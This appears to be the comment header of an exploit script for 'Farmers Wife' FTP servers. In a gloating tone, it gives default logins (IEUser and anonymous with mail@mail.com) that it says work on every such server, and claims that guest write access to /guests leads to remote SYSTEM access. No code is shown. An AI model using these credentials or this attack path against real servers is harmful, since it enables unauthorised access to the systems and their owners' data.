# leet (translated) note from <anonymized>: you can log in as IEUser/mail@mail.com or anonymous/mail@mail.com
# on _all_ farmers wife servers. This can't be disabled unless you turn off FTP access. The anonymous
# login gives you guest access, which means write access to /guests, which means default remote 'root'
# aka SYSTEM access. Ha ha ha, thanks anonymized, I missed that bit.
